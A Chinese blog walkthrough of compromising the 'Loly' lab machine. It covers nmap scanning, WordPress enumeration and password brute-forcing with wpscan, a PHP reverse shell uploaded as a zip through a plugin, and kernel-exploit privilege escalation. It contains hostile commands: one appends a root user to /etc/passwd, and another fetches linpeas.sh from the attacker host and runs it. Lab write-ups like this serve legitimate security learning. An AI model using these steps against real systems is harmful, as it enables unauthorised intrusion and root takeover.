当前位置: 首页 > news >正文

实战打靶集锦-013-Loly

**写在前面:**记录博主的一次打靶经历

目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. web服务探查
    • 4.1 WordPress探测
    • 4.2 使用metasploit
    • 4.3 使用wpscan
    • 4.4 阶段性回顾
  • 5. 提权
    • 5.1 弱密码提权
    • 5.2 操作系统信息枚举
    • 5.3 定时任务枚举
    • 5.4 passwd信息枚举
    • 5.5 可执行文件枚举
      • 5.5.1 /bin/ntfs-3g提权
      • 5.5.2 /bin/ping提权
      • 5.5.3 内核提权
      • 5.5.4 linpeas提权
        • 5.5.4.1 CVE-2017-16995
        • 5.5.4.2 CVE-2016-8655
        • 5.5.4.3 CVE-2016-5195
        • 5.5.4.4 CVE-2016-5195
      • 5.5.5 重新编译ntfs-3g的EXP


1. 主机发现

目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.65.0/24

在这里插入图片描述
锁定目标靶机为65.248。

2. 端口扫描

通过下面的命令对目标靶机进行全端口扫描。

$ sudo nmap -p- 192.168.65.248

在这里插入图片描述
目标靶机只暴露了一个80端口。

3. 服务枚举

通过下面的命令枚举一下80端口上的服务。

$ sudo nmap -p80 -A -sT -sV 192.168.65.248

在这里插入图片描述
目标靶机的操作系统应该是Ubuntu,运行的web应用服务器是nginx的1.10.3版本。

4. web服务探查

先通过浏览器访问一下。
在这里插入图片描述
没有太吸引人的内容,就是一个简单的不能再简单的nginx欢迎页面,通过dirsearch枚举一下目录看看。

$ dirsearch -u http://192.168.65.248

在这里插入图片描述
嗯,是WordPress的服务,再用dirb挂上big字典扫描一下。

$ dirb http://192.168.65.248 /usr/share/dirb/wordlists/big.txt

没有特别的发现。

4.1 WordPress探测

接下来老老实实探测一下WordPress服务,先用浏览器访问一下登录页面看看。
在这里插入图片描述
真够简陋的,尝试不同的用户名密码登录一下试试看。
在这里插入图片描述貌似没法正常登录,直接跳转到一个怪异的http://loly.lc/wordpress/wp-login.php。返回去看看忘记密码页面。
在这里插入图片描述
一样会跳转到loly.lc,会不会是我设置了burp代理导致的呢,去掉试试看。
在这里插入图片描述
效果是一样的。返回去老老实实看http://ip/wordpress/目录吧,进去都浏览一下。
在这里插入图片描述
这确实是一个比较奇葩的WordPress,只有一个上图所示的页面,随便都会指向不存在的loly.lc的域名导致不可达。

4.2 使用metasploit

无计可施了,用metasploit试试看。

$ msfconsole
msf6 > use auxiliary/scanner/http/wordpress_scanner
msf6 auxiliary(scanner/http/wordpress_scanner) > set RHOSTS 192.168.65.248
msf6 auxiliary(scanner/http/wordpress_scanner) > set TARGETURI /wordpress
msf6 auxiliary(scanner/http/wordpress_scanner) > run

在这里插入图片描述
执行结果对我们来说还是有进展的,锁定wordpress版本为5.5。

4.3 使用wpscan

$ wpscan --update
$ wpscan --url http://192.168.65.248/wordpress

在这里插入图片描述
比metadata得到的信息稍微多了一丢丢,接下来用Metasploit尝试一下扫出来的几个。

msf6 auxiliary(scanner/http/wordpress_scanner) > search xml-rpc

在这里插入图片描述
先用序号为2的PHP XML-RPC。

msf6 > use exploit/unix/webapp/php_xmlrpc_eval
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set RHOSTS 192.168.65.248
msf6 exploit(unix/webapp/php_xmlrpc_eval) > set PATH /wordpress/xmlrpc.php

在这里插入图片描述
失败了,再试试序号为7的XML-RPC。

msf6 > use auxiliary/scanner/http/wordpress_pingback_access

在这里插入图片描述
仍然失败,再分别试试编号为8的。

msf6 > use auxiliary/scanner/http/wordpress_xmlrpc_login
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOSTS 192.168.65.248
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set TARGETURI /wordpress/

在这里插入图片描述
仍然失败。接下来查查WP-Cron的。
在这里插入图片描述
这个是不存在的,到这里为止,感觉没有可以下手的地方了。

4.4 阶段性回顾

回想前面的探测阶段,总觉得不太正常,所有的页面连接,都会指向loly.lc这个域名,但是这个域名我们是无法访问的。有没有可能这个loly.lc就应该是指向wordpress服务器呢?有这种可能性!我们直接在kali主机上修改hosts文件(添加一行192.168.65.248 loly.lc),将loly.lc指向我们的目标靶机试试看。
在这里插入图片描述
还挺像那么回事的,所有的页面显示不再那么low了,尤其是像密码找回等也可以正常打开了,接下来重新探查一下。重新进行目录枚举。
在这里插入图片描述
总体上感觉比之前的扫描内容多了些。接下来用wpscan扫描一下。

$ wpscan --url http://192.168.65.248/wordpress

在这里插入图片描述
这里跟之前的搜索结果没有太大差异,先用admin/admin尝试登录一下试试看。
在这里插入图片描述
嗯,这至少说明了admin用户是不存在的,这为用户枚举提供了可能性。通过wpscan枚举一下试试看。

$ wpscan --url http://192.168.65.248/wordpress --enumerate u

在这里插入图片描述
嗯,找到了一个用户loly,我们手工尝试登录一下看看(随便输入密码)。
在这里插入图片描述
跟之前的错误提示不一样了,确实这个用户是存在的,下面尝试爆破一下loly用户的密码。

$ wpscan --url http://192.168.65.248/wordpress/wp-login.php --usernames 'loly' --passwords /usr/share/wordlists/rockyou.txt

在这里插入图片描述
分分钟就爆破出来了,loly的密码是fernando,手工登录一下试试看。
在这里插入图片描述
登录后会出现一个管理邮箱确认的页面,点击“The email is correct”试试看。
在这里插入图片描述
登录成功了,看界面和url(wp-admin)这应该是管理员账号。先通过Metasploit搜索一下wordpress关键字。

msf6 > search wordpress

在这里插入图片描述
还真是不少,差不多100多项,从头开始,优先找rank为excellent,check为yes的项。我们先试试序号为20的WordPress Admin Shell Upload。

msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD fernando
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME loly
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.65.248
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run

在这里插入图片描述
竟然上传payload失败了,网上有人说修改一下HTTP客户端的超时时间。

msf6 exploit(unix/webapp/wp_admin_shell_upload) > show advanced options
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set HttpClientTimeout 120

在这里插入图片描述
并没有实际效果,这样搞有些太盲目了,既然我们已经拥有管理员账号,还是先看看wordpress上安装了哪些插件吧,不行的话安装一个带漏洞的插件。
在这里插入图片描述
总共三个,只启用了一个反垃圾邮件的插件。我们从之前的search结果中,筛选出所有rank为excellent,check为yes,并且包含plugin关键字的项,如下图所示。
在这里插入图片描述
从上面筛选的结果中,逐个试一下,可惜失败了。
在这里插入图片描述
loly用户只可以对已有的插件进行Activate或者Deactivate操作,不能安装或者卸载,看来loly不是一个完整权限的管理员用户。既然这样,就好好点击一下各个页面看看有没有别的路子吧。
在这里插入图片描述
首先发现在media这里是可以上传文件的,还记得我们之前用的以GIF8开头的那个payload吗?GIF应该也算是media吧,上传试试看。
在这里插入图片描述
额,失败了,有安全限制。继续往下看,在“AdRotate/Manage Media”下可以上传文件,并且规定了可接受的文件类型、大小等,如下图。
在这里插入图片描述貌似可以用于构建反弹shell的格式就是zip了,并且上面的图片中也说了,上传后会解压,并且会把zip文件删除。把我们的payload.php压缩成zip文件。

$ zip -q -o payload.zip payload.php

再次上传。
在这里插入图片描述
这次提示上传成功了,文件在/banners下面,在kali上开启监听,并尝试访问一下(http://loly.lc/wordpress/wp-content/banners/payload.php)。
在这里插入图片描述
貌似是突破边界了,我们进一步试试看。
在这里插入图片描述
确实是突破边界成功。

5. 提权

5.1 弱密码提权

在这里插入图片描述
终端异常,通过下面的命令优化一下终端,然后再试试。

$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
看来没有弱密码。

5.2 操作系统信息枚举

在这里插入图片描述
这样就得到了目标靶机的系统信息:Ubuntu 16.04.1的64位版本,内核版本为4.4.0-31-generic。

5.3 定时任务枚举

在这里插入图片描述
定时任务中没有我们可以用于提权的信息。

5.4 passwd信息枚举

在这里插入图片描述
竟然有loly用户,用前面我们爆出的密码fernando试试看是否可以切换到loly用户。
在这里插入图片描述
密码不对,接下来尝试往passwd中写入一个用户。

$ echo "testusr:$1$tLZbutZB$fTEL0ldFBYz7sTASmpXop.:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
也不允许。

5.5 可执行文件枚举

先查看一下具备suid的二进制文件。

$ find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
通过上网搜索,貌似这里的ntfs-3g和ping都可以提权,接下来我们将使用这两种方式提权试试。

5.5.1 /bin/ntfs-3g提权

EXP地址在https://bugs.chromium.org/p/project-zero/issues/attachment?aid=265615&signed_aid=fGO-0n2HCpBXJ42JqT8tlQ==
不过我在利用的时候,不管是在靶机还是在kali上,始终都是编译失败。
在这里插入图片描述
在这里插入图片描述
只得暂时放弃。

5.5.2 /bin/ping提权

www-data@ubuntu:/$ mkdir -p /tmp/test
www-data@ubuntu:/$ ln /bin/ping /tmp/test/target

在这里插入图片描述
好奇怪,别人都是执行成功的,但是我这里一直失败,暂时放一边。

5.5.3 内核提权

先搜索一下对应内核版本的公共EXP看看。
在这里插入图片描述
匹配我们目标靶机的项还挺多的,下面使用linpeas看看哪个内核漏洞最有可能。

5.5.4 linpeas提权

$ cd /tmp
$ wget http://192.168.65.202/linpeas.sh
$ chmod 775 linpeas.sh
$ sh linpeas.sh

通过扫描,发现Exposure的状态为highly probable的CVE漏洞还挺多的,主要有CVE-2017-16995、CVE-2016-8655、CVE-2016-5195、CVE-2016-5195。
在这里插入图片描述
另外就是具备SUID的应用程序,ntfs-3g是可利用的,ping是不可利用的。
在这里插入图片描述
这也验证了之前ping程序exploit不成功的问题,接下来老老实实研究上面的4个CVE漏洞吧。

5.5.4.1 CVE-2017-16995

首先在本地Ubuntu(我的是16.04.7)上编译45101.c的代码。

ubuntu@ubuntu: ~$ gcc 45010.c -o 45010

然后将编译好的可执行文件45010上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
感觉貌似提权成功了,进一步试一下。
在这里插入图片描述
提权成功。

5.5.4.2 CVE-2016-8655

首先在本地Ubuntu(我的是16.04.7)上编译40871.c的代码。

ubuntu@ubuntu: ~$ gcc 40871.c -o 40871 -lpthread

然后将编译好的可执行文件40871上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
这个应该也是提权成功了,接下来验证一下。
在这里插入图片描述
提权成功。

5.5.4.3 CVE-2016-5195

首先在本地Ubuntu(我的是16.04.7)上编译40611.c的代码。

ubuntu@ubuntu: ~$ gcc -pthread 40611.c -o 40611

然后将编译好的可执行文件40611上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
这个提权失败。

5.5.4.4 CVE-2016-5195

首先在本地Ubuntu(我的是16.04.7)上编译40839.c的代码。

ubuntu@ubuntu: ~$ gcc -pthread 40839.c -o 40839 -lcrypt

然后将编译好的可执行文件40839上传到目标靶机(我用的python -m http.server 80 和 wget),然后直接在靶机上执行。
在这里插入图片描述
一直卡在这个界面没反应,回去查看了一下,靶机挂了,重启再试,还是同样的现象,提权失败。

5.5.5 重新编译ntfs-3g的EXP

既然安装了Ubuntu的16.04版本,这里把前面的ntfs-3g的EXP重新编译一下试试看。
在这里插入图片描述
仍然不成功,又在本地的Ubuntu 16.04.7上试了一下,也不成功,暂时放弃。
在这里插入图片描述
针对目标靶机的打靶到此结束。

相关文章:

实战打靶集锦-013-Loly

**写在前面:**记录博主的一次打靶经历 目录1. 主机发现2. 端口扫描3. 服务枚举4. web服务探查4.1 WordPress探测4.2 使用metasploit4.3 使用wpscan4.4 阶段性回顾5. 提权5.1 弱密码提权5.2 操作系统信息枚举5.3 定时任务枚举5.4 passwd信息枚举5.5 可执行文件枚举5.…...

程序员OKR学习法

版权声明 本文原创作者:谷哥的小弟作者博客地址:http://blog.csdn.net/lfdfhl OKR管理法 OKR(Objectives and Key Results)管理法是一种目标管理方法,旨在通过制定明确的目标和可量化的关键结果来帮助组织、团队和个人…...

【从零开始学习 UVM】6.6、UVM 激励产生 —— UVM Virtual Sequence【重要】

文章目录 使用virtual sequencer不使用virtual sequencervirtual sequence是一个容器,用于在环境中的virtual sequencer上启动多个sequence。 这个virtual sequence通常由一个具有对真实sequencers句柄的virtual sequencers执行。 需要virtual sequence的原因是当您需要在不…...

蓝桥杯:阶乘约数

蓝桥杯:阶乘约数https://www.lanqiao.cn/problems/1020/learning/ 目录 题目描述 填空题:答案是 39001250856960000 题目分析 AC代码(Java) 暴力 线性筛 题目描述 填空题 定义阶乘 n!123⋅⋅⋅n。 请问 100! (100 的阶乘)有…...

最大数字

[蓝桥杯 2022 国 B] 最大数字 题目描述 给定一个正整数 NNN。你可以对 NNN 的任意一位数字执行任意次以下 2 种操作: 将该位数字加 111。如果该位数字已经是 999,加 111 之后变成 000。 将该位数字减 111。如果该位数字已经是 000,减 111 之后变成 99…...

【java进阶08:异常】finally关键字、自定义异常类、用户业务作业、军队武器作业

java中的异常处理机制 异常在java中以类和对象的形式存在,那么异常的继承结构是怎样的?我们可以使用UML图来描述以下继承结构 画UML图的工具:Rational Rose、starUML等 Object下有Throwable(可抛出的) Throwable下有两…...

#课程笔记# 电路与电子技术基础 课堂笔记 第6章 半导体器件的基本特性

6.1 半导体基础知识 6.1.1 本征半导体 完全纯净的、结构完整的半导体称为本征半导体。 常用的半导体材料有硅和锗,它们都是四价元素,原子最外层轨道有四个价电子。 若将纯净的半导体制成晶体,则原子形成排列整齐的点阵。 点阵是由共价键提供…...

skimage.filters.apply_hysteresis_threshold详解

本文内容均参考scipy1.9.1scipy1.9.1scipy1.9.1版本的源码,若有任何不当欢迎指出 我们截取官方注释如下: def apply_hysteresis_threshold(image, low, high):"""Apply hysteresis thresholding to image.This algorithm finds regions …...

一、基础算法5:前缀和与差分 模板题+算法模板(前缀和,子矩阵的和,差分,差分矩阵)

文章目录算法模板前缀和模板子矩阵的和模板差分模板差分矩阵模板模板题前缀和原题链接题目题解子矩阵的和原题链接题目题解差分原题链接题目题解差分矩阵原题链接题目题解算法模板 前缀和模板 S[i] a[1] a[2] ... a[i] a[l] ... a[r] S[r] - S[l - 1]子矩阵的和模板 S[i…...

Python矩阵分解之QR分解

文章目录QR和RQ分解其他函数QR和RQ分解 记AAA为方阵,P,QP, QP,Q分别为正交单位阵和上三角阵,则形如AQRAQRAQR的分解为QR分解;形如ARQARQARQ的分解为RQ分解。 在scipy.linalg中,为二者提供了相同的参数,除了待分解矩阵…...

随机森林程序

n_estimators:数值型取值 含义:森林中决策树的个数,默认是10 criterion:字符型取值 含义:采用何种方法度量分裂质量,信息熵或者基尼指数,默认是基尼指数 max_features:取值为int型, float型, string类型…...

每日一练2627——变态跳台阶快到碗里来不用加减乘除做加法三角形

文章目录变态跳台阶思路:代码:快到碗里来思路:代码:不用加减乘除做加法思路:代码:三角形思路:代码:变态跳台阶 题目链接: 思路: 这个题目很容易理解&#…...

LeetCode-146. LRU 缓存

目录LRU理论题目思路代码实现一代码实现二题目来源 146. LRU 缓存 LRU理论 LRU 是 Least Recently Used 的缩写,这种算法认为最近使用的数据是热门数据,下一次很大概率将会再次被使用。而最近很少被使用的数据,很大概率下一次不再用到。当缓…...

#课程笔记# 电路与电子技术基础 课堂笔记 第3章 电路分析的几个定理

3.1 叠加定理 激励:电流源或电压源 响应:电流或电压 叠加定理一般用于已知激励或响应中的一种,求另一种。做法就是,每次只求一个激励作用下的响应,将其他激励置零,置零的具体做法是,电压源变…...

推迟参数设计的自适应反步控制和自适应神经网络的反步控制设计

推迟参数设计的自适应反步控制和自适应神经网络的反步控制设计 目录推迟参数设计的自适应反步控制和自适应神经网络的反步控制设计前言匹配与非匹配1. 基于自适应反步控制的非匹配条件下的系统控制器设计问题描述控制器设计小结2. 基于自适应反步控制和推迟参数设计的非匹配条件…...

spring5.1+SmartInstantiationAwareBeanPostProcessor 解决循环依赖

SmartInstantiationAwareBeanPostProcessor 解决循环依赖的过程, 例如上面的 A依赖B, B依赖A SmartInstantiationAwareBeanPostProcessor 是 Spring 中的一个接口,它扩展了 InstantiationAwareBeanPostProcessor 接口并提供了对 Bean 的实例化和属性填充的更高级的…...

apply、call与bind

共同点: 都是函数对象的一个方法,作用是改变函数执行时的上下文,即改变函数体内部this的指向 var name "lucy"; var obj {name: "martin",say: function () {console.log(this.name);} }; obj.say(); // martin&…...

《Effective Objective-C 2.0 》 阅读笔记 item3

第3条:多用字面量语法,少用与之等价的方法 1. 字面数值 使用字面量能令代码更为简洁: NSNumber *someNumber 1; *** 字面量语法的好处! *** 令代码更为简洁。能够以NSNumber实例表示的所有数据类型(int、float、d…...

SSL/TLS 证书管理

SSL 证书发现 随着组织的 IT 基础架构的扩展,他们为每台计算机获取证书以保护其资源和域。此外,开发人员通常会创建许多自签名证书,以便在产品的开发阶段保护内部网络。组织通常最终会拥有数千个证书。自动发现证书提供了对证书基础结构的完…...

supersqli(SQL注入流程及常用SQL语句)

目录 一、SQL注入知识学习 1、判断注入类型 (1)数字型注入判断 (2)字符型注入判断 2、猜解sql查询语句中的字段数(order by 的使用) 3、判断显示位爆数据库的名字 4、注释(--的使用&#…...

iOS 26 携众系统重磅更新,但“苹果智能”仍与国行无缘

美国西海岸的夏天,再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至,这不仅是开发者的盛宴,更是全球数亿苹果用户翘首以盼的科技春晚。今年,苹果依旧为我们带来了全家桶式的系统更新,包括 iOS 26、iPadOS 26…...

OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering()

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 在 GPU 上对图像执行 均值漂移滤波(Mean Shift Filtering),用于图像分割或平滑处理。 该函数将输入图像中的…...

C/C++ 中附加包含目录、附加库目录与附加依赖项详解

在 C/C 编程的编译和链接过程中,附加包含目录、附加库目录和附加依赖项是三个至关重要的设置,它们相互配合,确保程序能够正确引用外部资源并顺利构建。虽然在学习过程中,这些概念容易让人混淆,但深入理解它们的作用和联…...

三分算法与DeepSeek辅助证明是单峰函数

前置 单峰函数有唯一的最大值,最大值左侧的数值严格单调递增,最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值,最小值左侧的数值严格单调递减,最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...

Leetcode33( 搜索旋转排序数组)

题目表述 整数数组 nums 按升序排列&#xff0c;数组中的值 互不相同 。 在传递给函数之前&#xff0c;nums 在预先未知的某个下标 k&#xff08;0 < k < nums.length&#xff09;上进行了 旋转&#xff0c;使数组变为 [nums[k], nums[k1], …, nums[n-1], nums[0], nu…...

微服务通信安全:深入解析mTLS的原理与实践

&#x1f525;「炎码工坊」技术弹药已装填&#xff01; 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、引言&#xff1a;微服务时代的通信安全挑战 随着云原生和微服务架构的普及&#xff0c;服务间的通信安全成为系统设计的核心议题。传统的单体架构中&…...

Linux安全加固:从攻防视角构建系统免疫

Linux安全加固:从攻防视角构建系统免疫 构建坚不可摧的数字堡垒 引言:攻防对抗的新纪元 在日益复杂的网络威胁环境中,Linux系统安全已从被动防御转向主动免疫。2023年全球网络安全报告显示,高级持续性威胁(APT)攻击同比增长65%,平均入侵停留时间缩短至48小时。本章将从…...

JDK 17 序列化是怎么回事

如何序列化&#xff1f;其实很简单&#xff0c;就是根据每个类型&#xff0c;用工厂类调用。逐个完成。 没什么漂亮的代码&#xff0c;只有有效、稳定的代码。 代码中调用toJson toJson 代码 mapper.writeValueAsString ObjectMapper DefaultSerializerProvider 一堆实…...

STM32标准库-ADC数模转换器

文章目录 一、ADC1.1简介1. 2逐次逼近型ADC1.3ADC框图1.4ADC基本结构1.4.1 信号 “上车点”&#xff1a;输入模块&#xff08;GPIO、温度、V_REFINT&#xff09;1.4.2 信号 “调度站”&#xff1a;多路开关1.4.3 信号 “加工厂”&#xff1a;ADC 转换器&#xff08;规则组 注入…...

C++ 类基础:封装、继承、多态与多线程模板实现

前言 C 是一门强大的面向对象编程语言&#xff0c;而类&#xff08;Class&#xff09;作为其核心特性之一&#xff0c;是理解和使用 C 的关键。本文将深入探讨 C 类的基本特性&#xff0c;包括封装、继承和多态&#xff0c;同时讨论类中的权限控制&#xff0c;并展示如何使用类…...